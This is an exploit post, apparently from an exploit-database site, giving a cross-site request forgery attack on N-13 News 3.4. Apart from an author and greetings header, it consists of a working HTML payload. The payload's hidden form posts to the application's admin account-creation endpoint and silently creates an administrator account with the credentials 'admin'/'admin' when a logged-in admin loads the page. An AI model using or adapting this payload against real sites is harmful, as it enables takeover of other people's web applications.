N-13 News 3.4 – Cross-Site Request Forgery (Admin Add)
======================================================== N-13 News 3.4 Remote Admin Add CSRF Exploit ======================================================== #Title: N-13 News 3.4 Remote Admin Add CSRF Exploit #Author : anT!-Tr0J4n #Email : D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com #Greetz : Dev-PoinT.com ; hack-book.com // GlaDiatOr ; Coffin Of Evil ;The Sword; Cyber-Err0r ; R3d-D3v1L #special thanks : 1337db team : r0073r, Sid3^effects ,L0rd CruSad3r ,SeeMe ,gunslinger_ ,Sn!pEr.S!Te , indoushka , KnocKout, #Home : http://1337db.com #Software : http://network-13.com #Version : 3.4 #Tested on: Windows XP sp3 ----------------------------------- <html> <head> <title>Remote Admin Add CSRF Exploit</title> </head> <H2>Remote Admin Add CSRF Exploit by anT!-Tr0J4n</H2> <form method="POST" name="form0" action="http://localhost/news/admin.php?action=options&mod=accounts&create=new"> <input type="hidden" name="accountname" value="admin"/> <input type="hidden" name="accountemail" value="admin@local.com"/> <input type="hidden" name="accountpassword1" value="admin"/> <input type="hidden" name="accountpassword2" value="admin"/> <input type="hidden" name="accountaccesslevel" value="1"/> <input type="hidden" name="S1" value="Save"/> </form> <form method="GET" name="form1" action="http://localhost/news/js/main.php"> <input type="hidden" name="name" value="value"/> </form> </body> </html> |